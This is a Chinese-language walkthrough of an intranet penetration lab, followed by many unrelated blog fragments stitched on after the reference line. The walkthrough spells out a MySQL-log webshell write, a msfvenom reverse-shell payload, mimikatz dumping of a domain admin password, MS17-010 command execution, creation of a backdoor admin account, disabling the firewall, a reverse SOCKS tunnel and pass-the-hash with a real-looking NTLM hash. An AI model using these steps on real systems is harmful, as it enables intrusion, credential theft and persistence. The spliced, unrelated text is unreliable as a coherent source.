环境分析:
图示VM3:域控服务器
内网ip:192.168.52.138
图示VM2,域内成员
ip:192.168.52.141
图示VM1:web服务器,双网卡
公网ip:192.168.190.144
内网ip:192.168.52.143
配置完毕之后测试网络的联通性:最后三台机器都能相互ping通,win7可以连接公网
win7需要对外提供服务,所以这里需要把phpstudy给打开
这里我们正式开始打靶,模拟实战的话我们目前就只有一个公网ip(192.168.190.144),所以肯定第一步就是对目标进行信息收集,当然这里没法模拟收集厂商信息之类的的
扫描器的话都各有优点,这里我就用goby了,一通扫描后发现目标开启了3306(mysql)和80(http)
简单的信息收集后我们知道了对方开放了两个我们知道的端口 ,所以接下来利用点就是
1.判断mysql是否外联,尝试弱口令
2.从80找web漏洞
root/root登录一下试试,出现了如下报错,网上百度了一下,应该是目标没开启mysql外联,所以作罢,直接开始下一个方案
访问80端口,默认界面是个探针界面,重中我们可以得到很多信息
网站服务器系统信息:操作系统版本、主机名
中间件版本
管理员邮箱
网站的绝对路径(这个往往至关重要,后面写shell也用得到)
php相关参数
· · ·等等
然后拉到最下面下面有个mysql测试,这里root/root也是直接测试成功
简单的目录扫描发现目标有phpadmin(一个web端的mysql连接工具)
这里也是直接root/root弱口令就进入了后台
phpadmin-getshell的三种普遍思路:
select into outfile 写文件
全局日志getshell
慢日志getshell
条件:
- 对web目录需要有写权限能够使用单引号
- 知道绝对路径
- secure_file_priv为空
首先想到的是写文件getshell,因为我们有网站的绝对路径了
show variables like '%sec%'
但是这里secure_file_priv为NULL所以不能写文件,所以此方法结束
条件:
必须是root权限
我们是root权限,满足条件,然后首先查看一下配置
show variables like '%general%';
这里日志选项没开,我们把日志开一下,并且改一下日志位置以及文件(绝对路径是前面探针得到的)
#开启日志选项
set global general_log = on;
#设置日志位置为网站目录,文件格式php
set global general_log_file = 'c:/phpstudy/www/zinc.php';
然后就执行一个查询语句写入shell
select '<?php @eval($_REQUEST[cmd])?>';
简单用phpinfo()验证一下写入是否成功
下一步可以用antsword连接
慢日志:
记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上的语句是慢查询语句
利用条件的话和全局日志getshell一样都需要root权限,只不过这个需要执行命令时长超过10s才会被记录
查看日志设置
show variables like '%slow%';
修改配置
#修改日志文件以及绝对路径名
set global slow_query_log_file = 'c:/phpStudy/www/slow.php';
#启用慢日志查询
set GLOBAL slow_query_log=on;
写入shell
select '<?php @eval($_REQUEST[cmd])?>' or sleep(11);
select '<?php @eval($_REQUEST[cmd])?>' union sleep(11);
简单验证
这里我们拿到一台机器,首先肯定是要对主机上的信息进行收集,首先判断这个主机处于哪个“位置”,对于当前主机的话就是一个web服务器的角色,就是一台跳板机,其次收集一下当前主机是处于域环境还是工作组环境,这为我们下一步横向移动会提供一些参考
简单看一下本机信息,看下本机ip和网卡啥的
ipconfig /all
shell systeminfo
这里我们知道了:
主机名:stu1
处于域环境中,且域: god.org
msf提权:
生成msf木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
设置好监听后
use exploit/mutli/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip
set lport 6666
运行上线
这里我们已经拥有了administrator权限 所以再提权就很容易了 这里有
权限 所以可以直接getsystem提权,参考文章
http://blog.csdn.net/qq_41874930/article/details/110001596
很容易发现
1.处于域环境中 域名为:god.org
2.域内主机名为 stu1
3.双网卡 一个ip为 192.168.190.另一个为10.1.1.123(外网)
4.内网的dns服务器为192.168.190.2 推测是DC
http://www.cnblogs.com/g0udan/p/12411937.html
meterpreter作为一个进程时容易被清除,如果将它和系统经常运行的进程进行绑定,就能够实现持久化
1.ps查看当前正在运行的进程
2.getpid命令查看msf自己的进程id
3.migrate xxx 吧msf shell的pid调到xxx里相对稳定的应用
4.getpid查看一下自己是否更换成功
(也可以自动化 set autorunscript migrate -n.explorer.exe)
这里哦我们看到explorer.exepid为2780
我们自己的是2304
然后执行命令 migrate 2780
确认一下目标的远程桌面端口有没有开放
nmap 192.168.190.144 -p 3389
这里没开放的话可以使用msf的模块,或者自己手动开启
msf使用模块
post/windows/manage/enable_rdp
set session 1
run
最后的结果就是开放了
加载mimikatz模块,然后wdigest
load mimikatz
这里说mimikatz已经被kiwi替代了
列举系统中的明文密码
creds_all
里面找到了一个域内administrator的密码hongrisec@2019
msf > rdesktop 192.168.28.130
这里注意用GOD\Administrator登录。
得到结果是域环境 只有一个域 且域名为 god.org
结果是应该有三台主机 owa root-tvi862ubeh stu1
域控主机一般为时间服务器,这里结合ping的结果
结合
我们前期信息收集知道了dns服务器是192.168.52.138 这里也大致可以猜测 既是时间服务器,又是dns服务器 多方佐证 这个域控的主机名就是 owa ip为192.168.52.138
域内有个administrator,所以我们知道我们登陆的应该就是域内的管理员账户
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org
owa.god.org 为域控
域用户有 : ligang , liukaifeng01 ,administrator
域管理员只有一个: administrator
其实直接就拿到域管理员了
run get_local_subnets
结合之前的信息,推测一下网段大概就
192.168.52.0 是内网网段
192.168.190.0 外网的网段
169.254.X.X是Windows操作系统在DHCP信息租用失败时自动给客户机分配的IP地址。
首先我们要添加到达内网网段的路由,因为msf是在外网网段的,而目标的机器都在内网
run autoroute -s 192.168.52.0/24
然后可以查看一下已经添加的路由网段
run autoroute -p
此时msf就可以直接探测目标网段了(netbios探测存活主机),这里直接用的nmap自带的模块
use auxiliary/scanner/netbios/nbname
set rhosts 192.168.52.0/24
run
use auxiliary/server/socks_proxy
options
set srvhost 0.0.0.0
set srvport 1080
set version 4a
然后设置 proxychains4
vim /etc/proxychains4.conf
在最后一行添加
socks4 0.0.0.0 1080
拿下边界机之后,进入内网,想用nmap怎么办? CS可以开启代理,但是是socks4的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT选择使用tcp协议,要使用-Pn不使用ICMP的ping确认主机存活
msf > nmap 192.168.52.138
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49155/tcp open unknown
49161/tcp open unknown
49167/tcp open unknown
msf > nmap 192.168.52.141
21/tcp open ftp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
777/tcp open multiling-http
1025/tcp open NFS-or-IIS
1028/tcp open unknown
1029/tcp open ms-lsa
1030/tcp open iad1
6002/tcp open X11:2
7001/tcp open afs3-callback
7002/tcp open afs3-prserver
8099/tcp open unknown
看到两个IP都打开了445端口
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhosts 192.168.52.141 192.168.52.138
msf > run
两个主机都是likely的
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
set command 'Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber'
0xd3d 转化成10进制就是3389
set command netstat -ano
set command wmic RDTOGGLE WHERE ServerName=\'%COMPUTERNAME%\' call SetAllowTSConnections 1
看看3389的状态,已经是开放的
选用earthworm。
kali重新打开一个终端执行命令,将本机的1080端口请求转发给4444
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
然后把ew上传到VM1跳板机上
upload /home/zinc/Desktop/ew_for_Win.exe c://
然后切换到shell里面执行
ew_for_Win.exe -s rssocks -d 192.168.190.130 -e 4444
这里看到我们kali客户段有反应了
kali再开一个终端执行
vim /etc/proxychains.conf
最后添加
socks5 127.0.0.1 1080
proxychains4 rdesktop 192.168.52.141
继续使用msf模块
msf >use auxiliary/admin/smb/ms17_010_command
添加用户
set command net user test abbbbb123.0 /add
并添加用户为管理员
set command net localgroup administrators test /add
然后就可以登录VM2了
网上有许多教程都使用正向shell或者反弹shell来进行getshell,但是我尝试了下都没有成功。
当然,由于改过密码,hash传递登录也没有成功。这里只成列一下使用方法。大家可以自己去尝试
我也没成功
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
set lport 4444
run
在VM1跳板机上执行一下命令
sekurlsa::pth /domain:god.org /user:administrator /ntlm:8a963371a63944419ec1adf687bb1be5
web服务器(VM1跳板机)的WWW根目录下放置mimikatz.exe
set NetSh Advfirewall set allprofiles state off
bitsadmin /transfer name http://跳板机ip/mimikatz.exe c:\mimikatz.exe
set command 'c://mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full""'
然后就是找到密码登陆了
参考连接:
大家好,又见面了,我是你们的朋友全栈君。Shuffle的正常意思是洗牌或弄乱,是MapReduce的核心。下图展示了Shuffle包含的步骤:phase:阶段partitions:分开,隔离marge/combine:合并上图包含了整个mapreduce过程,更准确的说shuffle包含partitions和sort、combine(merge)过程,对应map到reduce之间的过程,不包括map和reduce。我们来分析分析整个流程:1,在maptask执行时,它的输入数据来源于HDFS的block,当然在MapReduce概念中,maptask只读取split。2,在经过mapper的运行后,也就是上图map阶段后,我们得知mapper的输出是这样一个key/value对,然后这个结果要交给reduce处理,那么怎么知道要交给那个reduce去处理呢?这里就需要partitioner接口处理了,它的作用就是根据key或value及reduce的数量来决定当前的这对输出数据最终应该交由哪个reducetask处理。因为这样以期望能够达到负载均衡,以后的Reducer就会根据part
Centos7源码部署Redis3.2.9一.环境准备[Redis-Server]主机名=host-1系统=centos-7.3地址=1.1.1.1软件=redis-3.2.96379二.安装1.yum依赖 yum-yinstallgcc2.编译安装Redis wgethttp://download.redis.io/releases/redis-3.2.9.tar.gz tarxzfredis-3.2.9.tar.gz cdredis-3.2.93.Redis的编译,只将命令文件编译,将会在当前目录生成bin目录 make&&makeinstall4.返回上一级并移动到/usr/local下 cd.. mvredis-3.2.9/usr/local/redis5.创建环境变量 echo'PATH=$PATH':/usr/local/redis/bin/>>/etc/profile source/etc/profile
缘由静态博客不像动态博客一样想要什么功能就写个代码实现,但是折腾一番还是可以满足日常需求的。本文主要讲述使用utterances给静态博客实现评论功能。了解utterancesutterances是一款基于GithubIssue的Github工具,优点主要是无广告、加载快、配置简单,轻量开源!由于我没有使用过其他评论工具的经验,因此只讲述一下utterances自身的优点,具体对比情况无法给出,但是看到有的博主表示之前使用disqus,但是广告多,加载也比较慢,体验了一把utterances后,马上切换到utterances。相信utterances足够让我使用很久了。安装utterances由于utterances是一款GithubApp,因此安装utterances非常简单,只需要授权特定repo权限给utterances就可以了,注意一个点:授权的这个repo必须是public的,可以选择多个repo,但是建议选择一个就可以了,也比较安全。给出我授权的repo作为参考,我是选择博客的repo作为utterances评论的存放点(在博客评论的内容都会以issue的形式发布在repo
本文实例讲述了PHP实现获取ip地址的5种方法,以及插入用户登录日志操作。分享给大家供大家参考,具体如下:php获取ip地址的5种方法,插入用户登录日志实例,推荐使用第二种方法<?php//方法1: $ip=$_SERVER["REMOTE_ADDR"]; echo$ip; //方法2: $ip=($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:$_SERVER["REMOTE_ADDR"]; $ip=($ip)?$ip:$_SERVER["REMOTE_ADDR"]; echo$ip; //方法3: functiongetRealIp() { $ip=false; if(!empty($_SERVER["HTTP_CLIENT_IP"])){ $ip=$_SERVER["HTTP_CLIENT_IP"]; } if(!empty($_SERVER['HTTP_X_FOR
Metagoofil是一个信息收集工具用于提取目标公司元数据的公共文档(pdf、doc、xls、ppt、docx、pptx、xlsx)这个工具会搜索谷歌,之后识别并且下载这些数据到本地,之后识别不同的app的版本信息,最终会生成一个用户名,软件版本,服务器名称的报告。有时候会因为工作人员的失误或者说公司人员的不在意,出现各种信息外泄的事件发生,这种事情往往能够为企业的铜墙铁壁添加一个小入口,造成意想不到的资产损失。在Kali中默认没有安装metagoofil,我们需要手动安装apt-getupdateapt-getinstallmetagoofil安装之后就可以使用metagoofil–h查看一下使用方法-d指定域名-t指定文件类型(pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)-l搜索结果的数量-n下载文件数量-o工作目录,就是保存结果的文件夹-f输出文件名由于这个工具会搜索google,所以我们使用ss我的习惯是先创建一个文件夹,之后将文件都放在这个文件夹里proxychainsmetagoofil-dhasee.com-tdoc,pdf,xls-l
前言《设计模式自习室》系列,顾名思义,本系列文章带你温习常见的设计模式。主要内容有:该模式的介绍,包括:引子、意图(大白话解释)类图、时序图(理论规范)该模式的代码示例:熟悉该模式的代码长什么样子该模式的优缺点:模式不是万金油,不可以滥用模式该模式的应用案例:了解它在哪些重要的源码中被使用该系列会逐步更新于我的博客和公众号(博客见文章底部),也希望各位观众老爷能够关注我的个人公众号:后端技术漫谈,不会错过精彩好看的文章。系列文章回顾【设计模式自习室】开篇:为什么我们要用设计模式?【设计模式自习室】建造者模式【设计模式自习室】原型模式【设计模式自习室】透彻理解单例模式【设计模式自习室】理解工厂模式的三种形式【设计模式自习室】适配器模式【设计模式自习室】幕后英雄:装饰模式结构型——桥接模式BridgePattern引子桥接模式是软件设计模式中最复杂的模式之一,它把事物对象和其具体行为、具体特征分离开来,使它们可以各自独立的变化。如何利用面向对象的技术来使得该类型能够轻松的沿着多个方向进行变化,而又不引入额外的复杂度?这就要使用Bridge模式。就拿汽车在路上行驶的来说。即有小汽车又有公共汽
微信公众号:OpenCV学堂 关注获取更多计算机视觉与深度学习知识ImageAI介绍纯Python的快速对象检测训练与测试平台,基于tensorflow+opencv构建,支持RetinaNetYOLOv3TinyYOLOv3在COCO数据集上预训练模型的调用,同时支持自定义对象训练与导出。支持图像分类对象检测视频对象检测与跟踪安装ImageAIImageAI的后台依赖tensorflow框架与keras,所以需要首先安装tensoflow,当前还不支持tensorflow2.0版本tensorflow1.4.x以上版本opencv-python安装imageai,只需要执行如下命令行即可pipinstallimageai 复制代码演示1.图像分类fromimageai.PredictionimportImagePrediction importos execution_path=os.getcwd() prediction=ImagePrediction() prediction.setModelTypeAsResNet() prediction.setModelPath(os.
一、背景企业中大量业务数据保存在各个业务系统数据库中,过去通常的同步数据的方法有很多种,比如:各个数据使用方在业务低峰期各种抽取所需数据(缺点是存在重复抽取而且数据不一致)由统一的数仓平台通过sqoop到各个系统中抽取数据(缺点是sqoop抽取方法时效性差,一般都是T+1的时效性)基于trigger或时间戳的方式获得增量的变更(缺点是对业务方侵入性大,带来性能损失等)这些方案都不能算完美,我们在了解和考虑了不同实现方式后,认为要想同时解决数据一致性和实时性,比较合理的方法应该是基于日志的解决方案,同时能够提供消息订阅的方式给下游系统使用。DBus(数据总线)项目就是应这个需求而生的,DBus专注于数据的收集及实时数据流计算,通过简单灵活的配置,以无侵入的方式对源端数据进行采集,采用高可用的流式计算框架,对公司各个IT系统在业务流程中产生的数据进行汇聚,经过转换处理后成为统一JSON的数据格式(UMS),提供给不同数据使用方订阅和消费,充当数仓平台、大数据分析平台、实时报表和实时营销等业务的数据源。二、系统架构和工作原理DBUS主要分为两个部分:貼源数据采集和多租户数据分发。两个部分之间
安妮乾明发自凹非寺 量子位出品|公众号QbitAICVPR2019满分论文现身!这篇论文,来自加州大学圣巴巴拉分校(UCSB)和微软研究院,题为ReinforcedCross-ModalMatchingandSelf-SupervisedImitationLearningforVision-LanguageNavigation。在CVPR2019评审过程中,从5165篇投稿论文中杀出重围,得到3个StrongAccept,得分排名第一,被确定为口头报告论文。UCSB计算机科学系助理教授王威廉在微博上透露了这一消息,论文的第一作者是其NLP组内同学王鑫。有人评论称,最佳论文指日可待。 论文中,基于强化学习,提出一种使用自然语言指挥智能体行动的新方法,在基准数据集上评估,比现有最好的方法性能显著提高了10%。引入了模仿学习后,极大地提升了智能体在不可见环境中的性能表现。这一研究成果,如果用于现实世界中,将能够进一步提高家庭机器人以及个人虚拟助理的性能,只要你认识路,机器人就能根据你的描述,找到正确的路。行动会更加高效。跨学科的攻坚战要理解大牛论文的高明之处,这还得先从视觉语言导航(VLN)
首先有一个高级函数的知识。一个函数可以接收另一个函数作为参数,这种函数就称之为高阶函数。defadd(x,y,f): returnf(x)+f(y) 当我们调用add(-5,6,abs)时,参数x,y和f分别接收-5,6和abs,根据函数定义,我们可以推导计算过程为: 等价于: x=-5 y=6 f=abs f(x)+f(y)==>abs(-5)+abs(6)==>11 return11 print(add(-5,6,abs)) >>11 复制这里涉及到的概念:变量可以指向函数 以Python内置的求绝对值的函数abs()为例,调用该函数用以下代码: >>>abs(-10) 10 但是,如果只写abs呢? >>>abs <built-infunctionabs> 可见,abs(-10)是函数调用,而abs是函数本身。 要获得函数调用结果,我们可以把结果赋值给变量: >>>x=abs(-10) >>>x 10 但是,如果把函数本身赋值给变量呢? >>
作者|玉龍一、简介隐含狄利克雷分布(LatentDirichletAllocation,简称LDA)是由DavidM.Blei、AndrewY.Ng、MichaelI.Jordan在2003年提出的,是一种词袋模型,它认为文档是一组词构成的集合,词与词之间是无序的。一篇文档可以包含多个主题,文档中的每个词都是由某个主题生成的,LDA给出文档属于每个主题的概率分布,同时给出每个主题上词的概率分布。LDA是一种无监督学习,在文本主题识别、文本分类、文本相似度计算和文章相似推荐等方面都有应用。本文将从贝叶公式、Gamma函数、二项分布、Beta分布、多项式分布、Dirichlet分布、共轭先验分布、马氏链及其平稳分布、MCMC、GibbsSampling、EM算法、UnigramModel、贝叶斯UnigramModel、PLSA、LDA几方面介绍LDA模型,需要读者具备一定的概率论和微积分知识。二、基础知识▌1.1贝叶公式贝叶斯学派的最基本的观点是:任一个未知量θ都可看作一个随机变量,应该用一个概率分布去描述对θ的未知状况,这个概率分布是在抽样前就有关于θ的先验信息的概率陈述,这个概率分布
大数据文摘编译:蒋宝尚、郑璇真怎么确定与你通话的电话那头是人还是机器?这个听起来还算简单的任务恐怕即将成为人类的一大难题。在周二的2018年I/O大会上,谷歌助理以令人惊叹的表现通过了图灵测试。这标志着人工智能技术在语音交互方面又推进了一步。图灵测试(TheTuringtest)由艾伦·麦席森·图灵发明,指测试者与被测试者(一个人和一台机器)隔开的情况下,通过一些装置(如键盘)向被测试者随意提问。进行多次测试后,如果有超过30%的测试者不能确定出被测试者是人还是机器,那么这台机器就通过了测试,并被认为具有人类智能。在大会现场,谷歌助理给一些企业打了电话,其中包括发廊和中国餐馆。在对话过程中,智能助手甚至还会使用“ums”、“ahhs”等人们思考时常用的语气词。电话另一端的客服人员丝毫没有怀疑和他们对话的是一个机器人。据知,在对智能助手开发的过程中,就已经对其进行了数百次的交互训练。先来欣赏一下谷歌助理以假乱真的声音谷歌助理打电话给发廊进行预约?谷歌设计的机器人在发音方面的突破多是Duplex人工智能系统的功劳。Duplex来源于早期的WaveNet深度学习项目。和谷歌其他的人工智能项目
Problem CF1528BKavionPairingDuty 题目大意: 在数轴上有\(2n\)个点,相邻两个点的距离为\(1\)。现在要将这些点两两匹配成\(n\)个圆弧,要求任意两个圆弧要么等长,要么其中一个包含另一个,问方案数。 Solution 首先观察发现好像合法的匹配一定是若干层包含,里面一层并列,也就是这个样子: 中间三个句号表示剩下的点组成的圆弧都是等长的。 然后发现被样例Hack了: 观察发现被Hack的原因是可能有若干个等长的圆弧相交,剩下比他们小的圆弧在他们相交的部分中。 于是尝试修改结论:合法的匹配一定是外面若干层,每一层都是若干个等长的圆弧,最里面一层为若干个等长的圆弧。 接下来考虑统计答案,可以把外面的几层与最内层分开统计。 首先考虑外面几层。 对于每一层,发现唯一合法的匹配长这个样子: 所以假设外面几层总共有\(k\)层,则外面几层的方案数相当于将\(k\)个数分成若干个区间的方案。 这个东西相当于要在\(k-1\)个空隙中插入若干个隔板的方案数。发现每个空隙都有插或不插两种选项,所以方案数为\(2^{k-1}\)。 然后考虑最内层。 由于每个圆
代码仓库 https://github.com/Rain-with-me/JavaStudyCode/tree/main/4-springboot-security-dynic 本文查看Mall的动态权限管理 动态权限的思路 路由拦截思路 把需要权限拦截的路由放在数据库中,当请求发送过来进行判断,如果是白名单的直接通过,然后看他是否添加权限路由,如果有就进行比对,这个以后含有这个权限就可以访问。 实现思路 可以先过一遍Mall的文档:https://www.macrozheng.com/mall/technology/permission_back.html#基于路径的动态权限控制 使用一个拦截器进行鉴权 一个用户的注册,就分配了用户权限的级别,然后有他包含的权限 白名单跳过,没有在权限表的跳过 首先获取访问的路径,这里是使用的Ant风格,然后和用户包含的权限进行匹配 这里的实现首先把所有的权限名字放在一个Map里面,Mao里面的加载使用loadDataSource当权限表进行更改,就刷新里面的值 获取访问路径代码如下 进行路径匹
本周精读的文章是Iterables与Iterationprotocols,按照为什么需要迭代器、迭代器是如何设计的,我们还能怎么利用迭代器展开来讲。概述为什么需要迭代器因为用for...of循环数组非常方便,但如果仅数组才支持这个语法就太过于麻烦了,比如我们自然会希望for...of可以遍历字符串的每个字符,希望newSet([1,2,3])可以快速初始化一个新的Set。以上提到的能力JS都支持,那么为什么JS引擎知道字符串该如何遍历?如何知道数组[1,2,3]与Set类型每一个Key之间的对应关系?实现这些功能背后的原理就是迭代器(Iterables)。因为Array、Set都是可迭代的,所以他们都可以被for...of遍历,JS引擎也自然知道他们之间相互转换的关系。迭代器是如何设计的有两种定义迭代器的方法,分别是独立定义与合并在对象里定义。独立定义为对象拓展[Symbol.iterator]属性即可。之所以规范采用[Symbol.iterator]是为了防止普通的字面量Key与对象自身的OwnProperties冲突:constobj={} obj[Symbol.iterator]
环境说明系统环境:centos6.5x64openssh-5.3p1升级原因:低版本openssh存在漏洞升级目标:openssh-7.9p1 检查环境官方文档中提到的先决条件openssh安装依赖zlib1.1.4并且openssl>=1.0.1版本就可以了。 当前版本正好符合openssh7.9p1的安装条件,而且zlib也符合OpenSSH7.9P1的依赖,可以进行直接安装:[root@noway11~]#opensslversionOpenSSL1.0.1e-fips11Feb2013[root@noway11~]#rpm-qzlibzlib-1.2.3-29.el6.x86_64[root@noway11~]#rpm-qzlib-develzlib-devel-1.2.3-29.el6.x86_64 开启telnet-server服务为防止openssh升级过程中断开连接,最好开启telnet-server服务以防万一[root@noway11~]yum-yinstalltelnet-server*[root@noway11~]serviceiptablesstop[r
css3的媒体查询(MediaQueries) 我今天就总结一下响应式设计的核心CSS技术Media(媒体查询器)的用法。 先看一个简单的例子: <linkrel="stylesheet"media="screenand(max-width:600px)"href="small.css"/>复制 上面的media语句表示的是:当页页宽度小于或等于600px,调用small.css样式表来渲染你的Web页面。首先来看media的语句中包含的内容: 1、screen:这个不用说大家都知道,指的是一种媒体类型; 2、and:被称为关键词,与其相似的还有not,only,稍后会介绍; 3、(max-width:600px):这个就是媒体特性,说得通俗一点就是媒体条件。 前面这个简单的实例引出两个概念性的东西,一个就是媒体类型(MediaType)和 媒体特性(MediaQuery),首先一起来理解一下这两个概念: 媒体类型(MediaType)在css2中是一个常见的属性,也是一个非常有用的属性,可以通过媒体类型对不同的设备指定不同的样式,在css2
需求: 导入文件,查看原始数据 将人口数据和各州简称数据进行合并 将合并的数据中重复的abbreviation列进行删除 查看存在缺失数据的列 找到有哪些state/region使得state的值为NaN,进行去重操作 为找到的这些state/region的state项补上正确的值,从而去除掉state这一列的所有NaN 合并各州面积数据areas 我们会发现area(sq.mi)这一列有缺失数据,找出是哪些行 去除含有缺失数据的行 找出2010年的全民人口数据 计算各州的人口密度 排序,并找出人口密度最高的州 importnumpyasnp importpandasaspd frompandasimportDataFrame 复制 #导入文件,查看原始数据 abb=pd.read_csv('./data/state-abbrevs.csv')#state(州的全称)abbreviation(州的简称) 复制 area=pd.read_csv('./data/state-areas.csv')#state州的全称,area(sq.mi)州的面积 复制 pop=pd.read_
1.常见异常 异常都是从Throwable类派生出来的,而Throwable类是直接从Object类继承而来。 通常的异常有四类: 1.Error:系统内部错误,这类错误由系统进行处理,程序本身无需捕获处理。 2.Exception:可以处理的异常 3.RuntimeException:可以捕获,也可以不捕获的异常 4.继承Exception的其他类:必须捕获,通常在API文档会说明这些方法抛出哪些异常。 2.算术异常 J2SE官方API文档-ArithmeticException JavaSE官方文档对于算术异常的定义是: 当出现异常的运算条件时,抛出此异常。例如,一个整数“除以零”时,抛出此类的一个实例。 publicclassAriExceptionTest{ publicstaticvoidmain(String[]args){ System.out.println("Example1:-1.0/0="+(-1.0/0)); //演示负浮点数除0 System.out.println("Example2:+1.0/0